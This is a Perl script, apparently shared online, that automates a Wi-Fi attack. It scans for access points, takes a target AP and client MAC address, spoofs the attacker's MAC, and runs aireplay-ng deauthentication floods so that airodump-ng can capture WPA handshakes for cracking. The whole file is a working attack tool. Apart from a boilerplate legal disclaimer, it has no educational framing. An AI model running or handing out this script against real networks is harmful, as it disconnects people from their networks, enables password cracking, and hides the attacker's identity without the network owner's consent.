airkick.pl a script for automating the capture of wpa handshakes

airkick.pl

#!/usr/bin/perl


#airkick.pl by Skilo47
#This program is free software, GPL.
#Disclaimer: This program is not intended to be used for illegal activites
#It is illegal to attack a wireless network that you do not own or do not have permission from the owner
# of said network to attack.
#The developer(s) are not responsible for any missuse of this program and by using it you
# agree and take full responsibility for your own actions.

use warnings;
use strict;
#Change these variables to match your interface names
my $monface = "mon0"; #This should be the name of the monitor mode interface created by airmon-ng.
my $iface = "wlan0"; #This should be the interface name of your wlan card.
#If your card is atheros it may be ath0 or wireless1 etc...
#To find out what your interface names are you can run airmon-ng start yourinterfacename.

system("nohup ifconfig $iface down 2> /dev/null");
system("nohup airmon-ng start $iface 2> /dev/null");
my $childPid;
eval {
    local $SIG{ALRM} = sub { die "alarm\n" };
    alarm 20; #adjust the alarm value here to set the amount of time airodump will scan.
    if ($childPid = fork()) {
        wait();
    } else {
        exec("airodump-ng $monface"); #We run airodump to scan on all channels first to get a list of APs
    }
    alarm 0;
};
if ($@) {
        die $@ unless $@ eq "alarm\n";
        print "timed out\n";
        kill 2, $childPid;
        wait;
};
print "Enter channel number to scan on: ";
my $channelvar = <STDIN>;
print "Enter the MAC address of the AP to attack: ";
my $ssidvar = <STDIN>;
print "Enter a connected clients mac to deauth: ";
my $clientmac = <STDIN>;
#we use chomp to remove the trailing space left by stdin input.
chomp($clientmac);
chomp($ssidvar);
chomp($channelvar);
chomp($monface);
chomp($iface);
print "Enter a name for the log file: ";
my $logvar = <STDIN>;
chomp($logvar);
print "Attacking $ssidvar please wait...\n";
#We take the card out of monitor mode and start over again because airmon-ng needs to start with a specific channel number for best results.
system("nohup airmon-ng stop $monface 2> /dev/null");
system("nohup airmon-ng stop $iface 2> /dev/null");
system("nohup macchanger -r $iface 2> /dev/null"); #mac address is spoofed to a random mac.
my $mymac = `cat /sys/class/net/$iface/address`;
print "MAC address spoofed to $mymac";
sleep 4;
system("airmon-ng start wlan0 $channelvar"); #starts airmon-ng with specific channel number.
system("ifconfig $monface down");
system("macchanger -r $monface"); #spoofs the mac of the monitor mode interface (this may not be nessisary)
system("ifconfig $monface up");
system("xterm -e airodump-ng -c $channelvar -w /dumps/$logvar --bssid $ssidvar $monface &"); #opens airodump in a new window for capturing handshakes.
eval {
    local $SIG{ALRM} = sub { die "alarm\n" };
    alarm 10; #set the alarm value here to adjust the amount of time aireplay will attack, (10 seconds is usually enough)
    if ($childPid = fork()) {
            wait();
    } else {
	    exec("aireplay-ng", "--deauth", "0", "-a", "$ssidvar", "-c", "$clientmac", "$monface");
    }
    alarm 0;
};
if ($@) {
    die $@ unless $@ eq "alarm\n";
    print "timed out\n";
    kill 2, $childPid;
    wait;
};

#return interfaces to previous state and disable monitor mode.
system("nohup airmon-ng stop $monface 2> /dev/null");
system("nohup airmon-ng stop $iface 2> /dev/null");
system("nohup macchanger -p $iface 2> /dev/null");
system("nohup ifconfig $iface up 2> /dev/null");
my $permmac = `cat /sys/class/net/$iface/address`;
print "Monitor mode disabled. Mac address returned to $permmac\n";
print "All done. Check your log in /dumps/$logvar for captured handshakes\n";		
exit;